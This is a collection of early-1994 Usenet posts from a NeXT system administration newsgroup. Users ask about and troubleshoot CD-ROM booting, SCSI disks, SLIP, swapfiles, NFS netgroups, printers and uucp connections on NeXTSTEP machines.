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Please reply to: nathan@laplace.csb.yale.edu (NeXT)
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From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: Booting from a CD
Message-ID: <18JLBIME@gwdu03.gwdg.de>
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <ghG0to200iMFEJe0Qt@andrew.cmu.edu>
Date: Mon, 31 Jan 1994 11:23:25 GMT
Jeremy G. Mereness (zonker+@CMU.EDU) wrote:
> This is something for an FAQ, but I haven't found it.
> How does one boot a NeXT computer from a cdrom drive? It seems to work
> if the machine is a Turbo, but non-Turbo machines never seem to see the
> cdrom on the SCSI chain, even with explicit commands like..
Wrong ROM version (it's just too old!). If you really want to change it,
try to get a new ROM from Bell Atlantic.
That's why NeXT includes boot floppies with the NS 3.* CDs.
Ciao, Stephan
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Newsgroups: comp.sys.next.sysadmin
From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: Quantum 1225S won't write
Message-ID: <H9JLBO1F@gwdu03.gwdg.de>
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <1994Jan28.012713.6199@advtech.uswest.com>
Date: Mon, 31 Jan 1994 11:40:05 GMT
scorley@advtech.uswest.com wrote:
> I thought I posted this question here last week, but it doesn't show up on
> News Grazer, so here it is again:
> I bought a Quantum ProDrive 1225S for a TurboColor NeXTstation. I can run
> disk -F /dev/rsd1a on the drive to format it and it appears to format it
> OK. However, when I attempt to initialize the drive it fails immediately.
uargh, why did you format this poor disk?
[munch]
> SCSI 2 (for this particular drive) commands.
Things to look for:
1) If this disk is scsi1 and scsi2 than it has a switch, whether the drive
is allowed to start synchronous mode negotiation. Switch it OFF. The
controller is capable of doing is (as far as I know), but the software
isn't (on black hardware only).
2) The drive has to send an EXPLICITE Save Data Pointer message to the
controller, if it disconnects from the SCSI bus, while it reads/writes
some data. This is also some hard/soft switch of the disk.
Those two cured all drives I've ever seen! But ok, the other ones too,
but I don't think, they did you any harm. Please don't be annoyed :-)
3) Only one of the two terminated drives (internal/external) provides
termination power. By convention it's the internal one. Of course this
includes proper termination.
4) The drive has to support some standard SCSI commands like Inquiry,
Read Capacity, ...
Typically people have problems with 1), cured by setting some
synchronous mode (or SCSI 1) jumper. 2) is less common, and less
easy to cure. If there is a ASDPE (additional SDP enabled) jumper,
you're lucky, otherwise they might have a bit in some mode select
page (typically page #0), that toggles ASDPE.
I'd suggest, you try to find someone who successfully uses the same
model, use the same jumper settings. If it doesn't work, use scsitools'
select to change mode select page 0 (from a his sense data).
If you don't find anyone, try to get the technical info from the
OEM manual, how to enable/disable synchronous mode negotiation/
save datapointer enforced.
Hope this helps, Stephan
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From: sbender@access1.digex.net (Scott Bender)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP for NS/FIP
Date: 31 Jan 1994 07:52:18 -0500
Organization: Harmony Data Systems
Message-ID: <2iiuu2$bo7@access1.digex.net>
References: <2ihnt7$bav@agate.berkeley.edu>
In article <2ihnt7$bav@agate.berkeley.edu>,
Mark Frohnmayer <markf@cory.EECS.Berkeley.EDU> wrote:
>Hi all,
>
>I want to run SLIP or CSLIP on my NS intel box. How do I do this? What
>software is needed?
>
>Any help would be very appreciated.
>
>Thanks,
>Mark Frohnmayer
>markf@cory.berkeley.edu
Mark,
Get /pub/next/binaries/comm/TransSys-PNI-1.6-beta.tar.gz from cs.orst.edu
That's all you need. (And some knowledge of network administration)
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From: "Jeremy G. Mereness" <zonker+@CMU.EDU>
Newsgroups: comp.sys.next.sysadmin
Subject: RESULTS: Booting from a CD
Date: Mon, 31 Jan 1994 11:20:46 -0500
Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA
Message-ID: <MhHGzS600iMF0Lg1A=@andrew.cmu.edu>
References: <9401301915.AA04694@fafnir.fafnir.com>
In-Reply-To: <9401301915.AA04694@fafnir.fafnir.com>
Here's the consensus of what I learned from this question.
Turbo systems are magic. They can be booted from a CD straight off with
the right command at the NeXT> prompt. Details below in the excerpt from
NeXTAnswers.
Non-Turbo systems are not magic. But some magic blocks on the install
floppy that comes with NeXT OS cd's will cause the machine to boot off
the cdrom a few seconds after the bfd command boots the floppy.
Note these boot blocks do not copy normally. I think the way to copy
this disk such that the magic boot blocks come along with it is to use
(someone correct me on this)
<do not insert source disk yet>
dd if=/dev/rfd0b of=tmpfile bs=16k
<insert source disk as prompted>
<when finished, manually eject source disk>
dd if=tmpfile of=/dev/rfd0b bs=16k
<insert dest disk when prompted>
<when finished, manually eject source disk>
Be sure to use /dev/rfd0b and not /dev/rfd0a or something wrong happens.
Someone mentioned that this floppy can be recreated from scratch by some
means. But he didn't say how.
If you have a Cube and the floptical doesn't work, some folks claim that
you can put the SCSI id of the cdrom to 0 and get it to boot. The claim
is that NeXT is nice and sets all their pre-installed drives to ID=1. I
have also successfully booted a cube off of a Bernoulli drive for the
Macintosh with a minimal NeXTStep environment installed on it.
What follows is the excerpt from NeXTAnswers on the subject. Hopefully,
this clears some things up.
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Excerpts from mail: 30-Jan-94 Re: Booting from a CD "James W.
McKelvey"@uu.p (2392)
> boot CD-ROM
> Q: Is there any way to boot from a CD-ROM disc and not
> be required to initialize the hard disk drive? I want
> to be able to view, copy, move, etc. files, run
> programs, and perform other similar operations.
> A: While you can't boot a full NeXTSTEP environment
> (Workspace Manager, et al.), you can boot single-user
> from a CD-ROM disc. In the ROM monitor type the
> following commands (after inserting the CD-ROM disc):
> For Turbo systems
> NeXT> bsd(n,0,0) sdmach -s rootdev=sdn
> Where n is the unit number of the CD-ROM drive.
> For Pre-Turbo systems with internal floppy
> Insert the boot floppy and type:
> NeXT> bfd -s
> For Pre-Turbo systems with SCSI floppy
> Insert the boot floppy and type:
> NeXT> bsd(n,0,0) sdmach -s rootdev=sdn
> Where n is the unit number of the floppy drive.
> Note that when booted single user from a CD-ROM, the
> file system is mounted read-only. Certain functions
> may not be available. This state can be somewhat
> alleviated by mounting /tmp on an external hard drive.
> Use the -n option with the mount command to prevent
> writing to /etc/mtab (which will fail, obviously).
> Once in single-user mode, you can still run the CD-ROM
> build disk scripts by running the rc scripts:
> # sh /etc/rc
> QA867
> Valid for 3.0
From: js@hnv_15 (Juergen Sell)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: faxcleanup - Input file format ?
Date: 31 Jan 1994 16:59:58 GMT
Organization: ICEM Systems
Message-ID: <2ijdee$sp4@vampir.hnv.icem.de>
Hello,
I wonder what is the format of the files being processed by
/usr/lib/NeXTPrinter/faxcleanup?
There seems to be absolutely no documentation under NS3.0 !?
In fact, I have a rather strange fax-machine with a serial interface plus
some low-level software which creates pure g3-data files for incoming faxes.
It would be just nice to have this work under the usual fax-gui.
Any ideas?
Juergen
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From: ridgway@inls3.tmc.edu (Doug Ridgway)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Dot matrix printer drivers
Date: 31 Jan 1994 18:36:10 GMT
Organization: Institute for NonLinear Science, UCSD
Message-ID: <2ijj2q$cg7@network.ucsd.edu>
References: <2ibgqf$c4j@network.ucsd.edu> <1994Jan29.154251.288@dart.de>
In article <1994Jan29.154251.288@dart.de> federico@heinz.in-berlin.de (Federico Heinz) writes:
>In article <2ibgqf$c4j@network.ucsd.edu> ridgway@inls3.tmc.edu (Doug Ridgway)
>writes:
>>That is all this, and the other dot matrix printers are realy capable
>>of. The additional effort to use their 360dpi capability is not worth
I didn't write that, I was the original poser of the question. Mark G. Salyzyn
wrote it. Thanks for the reply though.
doug.
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.de (Thomas Funke)
Subject: Re: Can't rdump: Solved
Message-ID: <1994Jan30.145906.461@gamelan.uucp>
Sender: thomas@gamelan.uucp (thomas)
Organization: Disorganization
References: <2i939b$1qm@marsu.tynet.sub.org>
Date: Sun, 30 Jan 1994 14:59:06 GMT
In article <2i939b$1qm@marsu.tynet.sub.org> mow@marsu.tynet.sub.org
(Markus Wenzel) writes:
> gnutar is not _that_ bad.
I just rebuilt my harddisk (660 MB) reformatting with 1024 byte blocks. I
saved everything with gnutar.
The result: It just works (tm).
Even special files (/dev/*), symbolic and hard links everything is there
as before. Just remember to use to flags to preserve owner/permissions
when tarring back.
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From: tec@cco.caltech.edu (Timothy E. Cushing)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.misc
Subject: Re: Rumors of Upgrading from 3.0 to 3.2
Date: 31 Jan 1994 19:34:36 GMT
Organization: California Institute of Technology, Pasadena
Message-ID: <2ijmgc$3fg@gap.cco.caltech.edu>
References: <2ibiil$p6j@bilbo.suite.com>
In article <2ibiil$p6j@bilbo.suite.com>, <Mark-Tarbell@suite.com> wrote:
>1. I have heard that it is possible to upgrade directly to NS3.2 from
>NS3.0 (without going through the NS3.1 upgrade step). True?
Gee, good thing you didn't post this last week, since I just did upgrade from
3.0 to 3.2 directly, without a second thought (my first thought being 'why
go through all the pain of upgrading to 3.1 when I can just wait for 3.2
to be out and 3.0 is fine in the mean time').
I did work fine, sort of, and I think the problems I've had are largely
operator (me) error and bad planning (I'm simultaneously moving to a new HD
and maintaining compatibility with a net of SPARC, PC and Mac machines).
The only real (?) bug was that the new system failed to find the fonts in
/LocalLibrary/Fonts and wouldn't even find /LocalApps for the longest time.
It magically fixed itself over the weekend (I haven't asked around whether
someone else here figured it out).
tec@alta.com
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: digital webster
Message-ID: <1994Jan31.121811.1519@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2ibdmeINNrtn@jhunix.hcf.jhu.edu>
Date: Mon, 31 Jan 1994 12:18:11 GMT
Digital Webster is on the NEXTSTEP User CD-ROM.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2ibdmeINNrtn@jhunix.hcf.jhu.edu>
allen@atienmh.sph.jhu.edu (Allen Y. Tien), Department of Mental
Hygiene, Johns Hopkins University writes:
> Does anyone know what happened to digital webster.app? I just
installed
> the developer CD and expected to see digital webstaer appear but
can only
> find the webster files, not the app.
>
> Allen Tien
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: NS3.1 or NS3.2 ?
Message-ID: <1994Jan31.123606.1709@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2i915n$agn@Chart.McRCIM.McGill.EDU>
Date: Mon, 31 Jan 1994 12:36:06 GMT
NEXTSTEP 3.2 is more stable than 3.1. I recommend the upgrade. I
don't believe the 3.1 developer kit will work on 3.2. I recommend
upgrading to 3.2 developer as well.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2i915n$agn@Chart.McRCIM.McGill.EDU>
emstech@improv.music.mcgill.ca writes:
> We have a LAN of 10 NextStation, 7 on NS2.1, 1 on NS3.0 and 2 on
NS3.1.
> The server and the mail server are on NS2.1.
>
> We want to upgrade all the machines to NS3.X version.
>
> My problem is I don't know if we should go for NS3.1 or 3.2. In the
past
> we almost upgraded all of our machines to 3.0, but we found out
that 2.1
> was more reliable.
>
> We now have two 3.1 systems they seem pretty okay.
> I am just not sure that 3.2 is not another bad upgrade, like 3.0
was.
> I will appreciate any comment that will help me decide which
version I
> should buy.
>
> One ting is sure we can't stay with our NS2.1 system, most of the
new
> software won't work.
>
> Will they be any major problem if NS3.0, 3.1 & 3.2 share the same
LAN?
> And at last, will the NextStep developer kit that came with 3.1
work on
> 3.2 ?
>
> Thanks,
> Alain
> Mcgill University, Music Faculty
> emstech@music.mcgill.ca
Newsgroups: comp.sys.next.sysadmin
From: benten@shell.portal.com (Muhammad Saleh Benten)
Subject: ATI AX0 Graphics Adaptor
Message-ID: <CKIFDD.8E4@unix.portal.com>
Sender: news@unix.portal.com
Organization: Portal Communications Company
Date: Mon, 31 Jan 1994 19:55:56 GMT
We have installed NextStep 3.2 on a Pentium based Gateway 2000 P5-60.
The graphics adaptor card is a ATI AX0 for PCI Local Bus. We are unable
to get anything better than standard VGA resolution. We have tried all
the settings for ATI UltraPro using Configure.app. Nothing seems to
work. Does any one have any clues that could help us? The card has
2MB of VRAM.
Is a new device driver needed? If so, are the folks at next receptive to
such requests?
Thanks in advance,
Suhaib Khan
From: ferng@Arizona.EDU(Jimmy M. Ferng)
Newsgroups: comp.sys.next.sysadmin
Subject: Insall an internal hard disk on NeXTstation
Date: 31 Jan 1994 19:42:18 GMT
Organization: University of Arizona, CCIT
Distribution: world
Message-ID: <2ijmuq$ii3@auggie.CCIT.Arizona.EDU>
I have a NeXTstation running NeXT System version 3.0. I'm trying to
replace the small internal hard disk with a bigger one as a boot disk with
some problems.
The IBM OEM 0662S12 1 gigabyte drive is recognized as such by the system
program "disk" and "disk" will format it and say that it is properly
formatted. But it does not seem to be able to initialize and the system
software does not seem able to install itself on the drive or initialize
it - when installing from a cd rom. When it tries to initialize it the
programs get write errors "Incomplete disk transfer etc". Also the system
will not boot from the cd unless I give the cd a lower target number than
the new internal and uninitialized hard drive.
I'll appreciate very much any help.
---
Jimmy M. Ferng | University of Arizona
Internet: ferng@arizona.edu | Computer Center
From: joe@msri.org (Joe Christy)
Newsgroups: comp.sys.next.sysadmin
Subject: swapfile.front & multiple swapfiles
Date: 31 Jan 1994 21:23:48 GMT
Organization: Lawrence Berkeley Laboratory, Berkeley CA
Message-ID: <37042@dog.ee.lbl.gov>
I was rather surprised at how painless it was to add a second swapfile to
my system, by merely creating a clone of /private/vm/swapfile, called
/Local/vm/swapfile on my (big) external disk and adding an appropriate
entry to /etc/swaptab. I still have two questions which experimentation
couldn't resolve:
1) what is swaptab.front and what does it do? It appears that
/private/vm/swapfile gets mounted at boot time on top of
/private/vm/swapfile.front, but no amount of fiddling could create a
/Local/vm/swapfile.front. At boot time I get messages about the
nonexistant /Local/vm/swapfile.front saying that it couldn't be created
because the device is busy. Creating it by hand doesn't seem to work
either - if I make a file, mount says it needs a directory as a mount
point; if I make a directory, mount says the device is busy. HOWEVER, a
bit later it reports swapping enabled on /Local/vm/swapfile and the system
does use /Local/vm/swapfile for swapping - the file grows when the machine
swaps.
2) how does the machine decide which swapfile to use? Mine always seems to
use the new /Local/vm/swapfile which is the second entry in swaptab. This
is ok with me as the there is much more space, but I am curious.
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From: frank@lucas.medicine.nwu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: Weird NewsGrazer problem
Date: 31 Jan 1994 18:00:18 GMT
Organization: Northwestern University, Evanston, IL USA
Message-ID: <2ijgvi$238@news.acns.nwu.edu>
Hi,
There is a very weird problem for my NewsGrazer (Release 2.0, V72.3) on my
NeXT blackbox. I have been using this version for several months and it's
the first time I encountered this kind of problem.
When I was reading comp.soft-sys.sas group, suddenly, NewsGrazer crashed.
After that, I tried several times. Each time, it crashed immediately.
Before the weird crash, I had been reading comp.soft-sys.sas for months
without any problem. I also tried other news groups and NewsGrazer worked
fine. I thought it might be the problem with that specific news group, so
I logged in another machine with "nn" and it worked fine with
comp.soft-sys.sas. I wonder what's wrong. Any suggestion and help would be
very much appreciated.
Frank Zhang
Programmer Analyst
Reingold ECG Center
Northwestern University
Internet: frank@lucas.medicine.nwu.edu
From: root@cardano.math.upenn.edu (Operator)
Newsgroups: comp.sys.next.sysadmin
Subject: Problems with netgroups
Date: 31 Jan 1994 21:22:36 GMT
Organization: University of Pennsylvania
Message-ID: <2ijsqs$83q@netnews.upenn.edu>
Keywords: netgroups
I've set up a netgroup for about 20 machines. This seems to work fine when
I use it in a typical export entry such as :
/ -access=netgroup
However, when I give root permissions to the netgroup:
/ -access=netgroup,root=netgroup
I get the following message upon exporting the file system:
# exportfs -av
exportfs: netgroup: unknown host
exported /
The root partition is exported, but without root permissions. What good
are netgroups if I can't use them with all nfs options?
-dave
PS. Does anyone know of a limit on how long export lists can be? I've run
into a problem where the last machines in an export list do not get
exported to, because the list is too long
From: slr2@cornell.edu (Soochon Radee)
Newsgroups: comp.sys.next.sysadmin
Subject: Changing IP address of Netinfo server
Followup-To: comp.sys.next.sysadmin
Date: 31 Jan 1994 21:50:56 GMT
Organization: Cornell University
Sender: slr2@cornell.edu (Verified)
Message-ID: <slr2-310194164853@128.253.21.113>
For reasons beyond my control, we have to change the address of the Next
(black 040 cube, currently running 3.0) which acts as the Netinfo server
for the root domain, and I have a couple questions.
First of all, is this possible? What is the proper way to inform netinfo
that the server has moved? Do I change it before moving the computer, or
afterwards? System and Network Administration says that I can't use
SimpleNetworkStarter again, so will changing all occurances in Netinfo be
enough?
(in fact, SNA doesn't say anything about this subject at all)
Thanks in advance.
-----
Soochon Radee
slr2@cornell.edu
Newsgroups: comp.sys.next.sysadmin
From: volker@abulafia.in-berlin.de (Volker Safran)
Subject: Re: Default printer resolution in NS 3.2
Message-ID: <1994Jan31.125532.2193@abulafia.in-berlin.de>
Sender: volker@abulafia.in-berlin.de
Organization: Volker Safran, Interprint, Berlin, Germany
References: <1994Jan31.032406.543@loretta.la.ca.us>
Date: Mon, 31 Jan 1994 12:55:32 GMT
In article <1994Jan31.032406.543@loretta.la.ca.us>
bisbey@loretta.la.ca.us
(Richard Bisbey II) writes:
> In NS 2.2a, printer resolution was stored in the defaults database:
>
> dwrite System PrinterResolution "300 dpi"
> or
> dwrite System PrinterResolution "400 dpi"
>
> and the printer defaulted to the last resolution used. In NS
> 3.2, printer resolution always defaults to 400 dpi.
>
> If you regularly print at 300 dpi to extend the life of the toner
> cartridge, it's a nuisance to have to change the printer resolution
> every time you print.
>
> Is there a new default for printer resolution?
>
I don't believe that printing at 300dpi extends the live of your toner
cartridge, because all lines are much thinner at 400dpi --> less toner
usage.
CIAO Volker
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From: alistair@bcu.ubc.ca (Alistair Blachford)
Newsgroups: comp.sys.next.sysadmin
Subject: Need PCNFSD compiled for black NeXT
Date: 1 Feb 1994 00:04:31 GMT
Organization: The University of British Columbia
Message-ID: <2ik6af$m65@nntp.ucs.ubc.ca>
I'd like to connect a PC to a NeXTstation using PC-NFS. Has someone
already compiled "pcnfsd" for the NeXT? Thanks for any info/hints,
Alistair
Biosciences Computing Unit | Email: alistair@bcu.ubc.ca
University of British Columbia | Phone: 604-822-2645
Vancouver, Canada, V6T 1Z4 | Fax: 604-822-2416
From: wjabi@libra.arch.umich.edu (Wassim M. Jabi)
Newsgroups: comp.sys.next.bugs,comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.software
Subject: PLEASE READ: BIZARRE EXPERIENCE WITH NeXT PRINTER
Date: 30 Jan 1994 11:39:23 GMT
Organization: University of Michigan Engineering, Ann Arbor
Distribution: usa
Message-ID: <2ig69bINNlsh@srvr1.engin.umich.edu>
I have a bizarre experience to report on trouble with
printing on the NeXT LaserPrinter I just bought from Sam Goldberger.
I have a NeXTstation Color 25MHz:
- 32MB RAM
- 500MB External Fujitsu HD
- Software Version 3.2 (Lightning5S)
- Serial Number ABC 0006073
which I will call "LIBRA" for brevity.
I bought a 400DPI NeXT LaserPrinter:
- NeXT 400dpi Level II Printer
- Serial Number: AAC 0015251 (February 1992 M)
which I will call "NLP" for brevity.
When I try to print, I often, but not always, get incomplete pages after
which
NLP tries to re-print two more times. Sometimes it fails and other times
it succeeds. The console shows the following messages while that is
happening:
error
At this point, LIBRA shows me a dialog box informing me that some or all
of the requested pages may not have been printed.
***** The bizarre part begins here ********
I have conducted *extensive* testing of LIBRA with 3 other printers:
1) NeXT 400 DPI Printer: AAC 0000164 (April 1988 T)
2) NeXT 400 DPI Printer: AAC 0013319 (November 1991 M)
3) NeXT 400 DPI Printer: AAC 0016334 (March 1992 M)
Please note that the third printer is very close to my printer in
manufacturing date. It was also purchased from Mr. Goldberger. LIBRA
prints with no problems whatsoever with these printers. I have tested a
total of about 70-100 pages and it works fine.
On the other hand, NLP was connected to:
1) A NeXTstation Color Turbo Software Version 3.1 (Lightning4H)
2) A NeXTstation Color Turbo Software Version 3.1 (Lightning4H)
3) An older NeXTDimension Cube Software Version 3.0 (Hyper3B)
4) NeXTstation color 25MHz Software Version 3.2 (Lightning5S)
This is similar to libra. It is actually newer than LIBRA
with ROM version 2.5 v 66 M (1991) while LIBRA is 2.4.
NLP printed perfectly with all four computers.
I only face problems when I connect NLP to LIBRA. I have used the same
printer cable In all connections. I have moved the setup to four
different locations with the same results. One of the four locations was
in a totally different part of town. I tried different toner cartridges:
no difference.
This is driving me crazy because I can not point the finger at any
component. LIBRA works with three other NeXT printers without any
problems and NLP works with four other NeXT computers with no problems. I
have so far printed about 150-200 testpages using PrintManager, WriteNow,
Preview. The only time I get a failure is when libra is connected to NLP,
why????
Does any one know of an incompatibility between an older 25MHz Color
NeXTstation and a 400 DPI NeXT Laser Printer manufactured February 1992?
But if that is the case how come LIBRA was able to print to the other
Printer which is only a month newer than NLP????
Please help in any way you can. Thank you.
---
Wassim M. Jabi (313) 936-0229
Doctoral Program in Architecture, University of Michigan
2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2069
wjabi@libra.arch.umich.edu NeXTMail-friendly
From: amok@coal (Andre J. Mok)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT as comserver
Date: 1 Feb 1994 01:40:52 GMT
Organization: Connect.com.au Pty Ltd, Melbourne, Australia
Message-ID: <2ikbv4$bho@yarrina.connect.com.au>
I am in the process of planning to set up a NeXT (intel) to act as a comms
server to the Internet. It will be running gopher, wais, send mail, FTP,
telnet, newsfeeds, and some other stuff. I so not know of any other sites
that use a NeXT in the same role, I would rather go with a next box over a
SUN if I can help it.
Any comments, questions or experience from anybody who has had some
experience in this area and/or with capacity planning would be gratefully
received.
tks
Andre
Newsgroups: comp.sys.next.sysadmin
From: steve@eps.RAIN.COM (Steve Kornreich)
Subject: Slip and Netcom online service??
Sender: news@percy.rain.com (John Cavanaugh)
Organization: /etc/organization
Date: Tue, 1 Feb 1994 02:56:59 GMT
Message-ID: <CKIyuz.9Aq@percy.rain.com>
I am vey shortly going to switch over to Netcom for SLIP services.. Can someone send me
any pacific info on setup.. ie resolv.conf file, necessary hostinfo entries. etc..
I am running Transys PNI SLIP
--
Steve Kornreich
steve@eps.rain.com
NeXTmail OK..
From: mcglk@cpac.washington.edu (Ken McGlothlen)
Newsgroups: comp.sys.next.sysadmin
Subject: UUCP problems (RXMIT?)
Date: 30 Jan 94 06:25:00
Organization: Dubious.
Distribution: usa
Message-ID: <MCGLK.94Jan30062500@yang.cpac.washington.edu>
I have a NeXT (Intel 3.2) named c3po trying to connect to a Sun named yang for
uucp. The connection is fine---I can't find any noise on it at all. And yet,
here's what happens *after* a successful connection is made (with
/usr/lib/uucp/uucico -r1 -x99). I'd appreciate any help. (Again, there
doesn't seem to be any actual noise on the line, and this fails the same way no
matter how I get onto yang---either direct modem line, or networking in via
another machine.)
Thanks.
---Ken McGlothlen
mcglk@cpac.washington.edu
mcglk@cpac.bitnet
root yang (1/29-19:03-741) SUCCEEDED (call to yang )
imsg looking for SYNC<
Last login: Sat Jan 29 18:58:27 from annex.engr.washi
SunOS Release 4.1.1 (YANG) #3: Thu May 21 03:18:07 PDT 1992
\20>
imsg input<Shere=cpac\0
Using \0 as End of message char
>got 10 characters
omsg <Sc3po -Q0 -x99>
imsg looking for SYNC<\20>
imsg input<ROK\0>got 3 characters
msg-ROK
Rmtname yang, Role MASTER, Ifn - 5, Loginuser - root
rmesg - 'P' imsg looking for SYNC<\20>
imsg input<Pgetxf\0>got 6 characters
got Pgetxf
wmesg 'U' g
omsg <Ug>
send 073
rec h->cntl 077
send 061
state - 01
rec h->cntl 061
send 053
state - 03
rec h->cntl 057
state - 010
Proto started g
protocol g
root yang (1/29-19:03-741) OK (startup cua 9600 baud)
*** TOP *** - role=MASTER
gnamef returns .
bldflst rejects .
gnamef returns ..
bldflst rejects ..
gnamef returns C.yangA0034
gnamef returns C.yangA0024
bldflst returns 1
mcglk yang (1/29-19:03-741) REQUEST (S D.c3poB0022 D.c3poS0022 mcglk)
expfile type - 0, wrktype - S
wmesg 'S' D.c3poB0022 D.c3poS0022 mcglk - D.c3poB0022 0666
send 0210
rmesg - 'S' rec h->cntl 041
state - 010
rec h->cntl 0211
PKCGET stall for 0.023900 sec
send 041
got SY
PROCESS: msg - SY
SNDFILE:
send 0221
send 0231
send 0241
send 0251
send 0261
send 0271
send 0201
rec h->cntl 042
state - 010
send 0211
rec h->cntl 043
state - 010
send 0221
rec h->cntl 044
state - 010
send 0231
rec h->cntl 045
state - 010
send 0241
rec h->cntl 046
state - 010
send 0251
rec h->cntl 047
state - 010
send 0261
rec h->cntl 040
state - 010
send 0271
Noisy line - set up RXMIT
send 0211
Noisy line - set up RXMIT
send 0211
Noisy line - set up RXMIT
send 0211
rec h->cntl 021
send 0221
state - 010
send 0231
send 0241
Noisy line - set up RXMIT
send 0221
Noisy line - set up RXMIT
send 0221
send 0221
Noisy line - set up RXMIT
send 0221
send 0221
Noisy line - set up RXMIT
send 0221
send 0221
Noisy line - set up RXMIT
send 0221
Noisy line - set up RXMIT
send 0221
send 0221
tries = 10
send 0231
send 0241
send 010
send 010
cntrl - -1
mcglk yang (1/29-19:03-741) FAILED (conversation complete)
send OO -1,omsg <OOOOOO>
imsg looking for SYNC<^P^B\10 \10\10 \10C^QXch
?Invalid command
telnet: M'YV0:=R0*8/'A1PZ9@`H7,BPH<.'$"-*G$BQ(HB+-F#```'@(H@8-&AP]'AQ^P^B^]^]^Y^[
?Invalid command
telnet: M8T>2'FG`F'&Q1@T9,C+&A%'#8PT;-6)TK,BSI\^?0(,*'4JTJ-&C2),J5;J'
?Invalid command
telnet: M^P^B[^N!vRT$S,+B$<3,G35,S;]S0H2.>H7^?<23-G#@@D9=C8*4,GS9@P.[[&^.HF
?Invalid command
telnet: M#1^P "*\10 \10 ^P "*\10 \10 ^POOOOOOmcglk yang (1/29-19:04-741) TIMEOUT (yang)
gnamef returns .
gnamef returns ..
gnamef returns C.yangA0034
gnamef returns C.yangA0024
Newsgroups: comp.sys.next.sysadmin
From: huiw@mcmail.cis.mcmaster.ca (Wing Hui)
Subject: want to let multiple users to logon
Message-ID: <1994Feb1.020834.13375@muss.cis.mcmaster.ca>
Sender: usenet@muss.cis.mcmaster.ca (News Database)
Organization: McMaster University, Hamilton, Ontario, Canada
I have the following questions regarding let multiple users to logon my slab via modem:
Date: Tue, 1 Feb 1994 02:08:34 GMT
1) What hardware do I need so multiple users can be able to dialin my slab?(I've heard someone says I need a box or something)
2) Where I can buy the hardware?
3) How much does it cost?(roughly speaking)
I would prefer reply by mail: huiw@mcmail.mcmaster.ca
Thanks in advance!! :)
--
Wing F., Hui
McMaster University, Hamilton, Ontario, Canada.
huiw@mcmail.mcmaster.ca
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.0: loginwindow: can't find WindowServer port!
Date: 31 Jan 1994 20:08:05 GMT
Organization: Suite Software
Message-ID: <2ijof5$1nh@bilbo.suite.com>
References: <CK7Kox.1r4@news2.cis.umn.edu>
In article <CK7Kox.1r4@news2.cis.umn.edu> scott@geom.umn.edu (Scott S.
Bertilson) writes:
>
> We're seeing this on a netinfo server...the system boots and runs
> (and appears to serve the NI domain without problems), but the login
> window never comes up. "windowserver" and "loginwindow" both show
> up in "ps", but we get:
> Jan 25 16:41:37 pascal loginwindow[191]: loginwindow: could not
find WindowServer port!
> in "/usr/adm/messages" about every 45 seconds (and a new process id
> for both processes).
> We can't seem to find anything that gives a clue as to where this
> problem comes from. I suppose it is another Netinfo gotcha, but I'd
> sure like to know what obscure entry in the database causes it.
> Thanks, Scott S. Bertilson
> --
Don't feel alone. I had this problem a couple of months ago. I wound up
erasing my disk and reinstalling NS. Note I said ERASE, just reinstalling
did NOT cure the problem.
Scot
PS I hope you find a better way...
Newsgroups: comp.sys.next.sysadmin
From: jimbo@oingo.umn.edu
Subject: talk via SLIP
Message-ID: <CKJ0Jr.B2I@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Tue, 1 Feb 1994 03:29:31 GMT
anybody know why when I try to talk to someone on another machine via
a SLIP connection, all I get is [waiting for invitation on callers machine]?
And I never connect?
---
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James P. Klett klett@sunrayce.solar.umn.edu
jimbo@oingo.umn.edu (SLIP)
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Slip Slipping' away... NeXT Mail Preferred
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From: mcglk@cpac.washington.edu (Ken McGlothlen)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: uucp doesn't want to play 9600. Arrrrrrrgh.
Date: 31 Jan 94 17:45:20
Organization: Dubious.
Distribution: usa
Message-ID: <MCGLK.94Jan31174520@yang.cpac.washington.edu>
I have a DEC MTE d2 running NS/i 3.2 equipped with a SupraFAXmodem on COM1.
I'm using a modem cable which ostensibly supports hardware handshaking.
Unfortunately, while it works at 2400bps, it doesn't work at 9600bps, failing
with "Noisy line - set up RXMIT" messages.
I know it isn't the other host; I've tried it on two completely different ones.
I know it isn't the dialin switch---I've tried three different ones.
I don't know if it's the cable, though. I've tried two---both the one that I
bought and the one from Supra, both of which allegedly support hardware
handshaking. But I can't tell---they're both molded.
So I'm a bit stuck at the moment. I'm not familiar enough with uucp to know
what's going on.
If it helps any, I also note than when I dial out (using Kermit), I get a bunch
of spurious ^Ss (really annoying in Emacs) every so often. I'm not sure what
to do about that.
Also, does anyone know of a Kermit that obeys uucp locking, as tip does?
---Ken McGlothlen
mcglk@cpac.washington.edu
mcglk@cpac.bitnet
From: Offices <offices@gradient.cis.upenn.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Printing Mac -> Next printer?
Date: 1 Feb 1994 04:15:18 GMT
Organization: Ur Penn. - Office of Land Mgmt.
Distribution: world
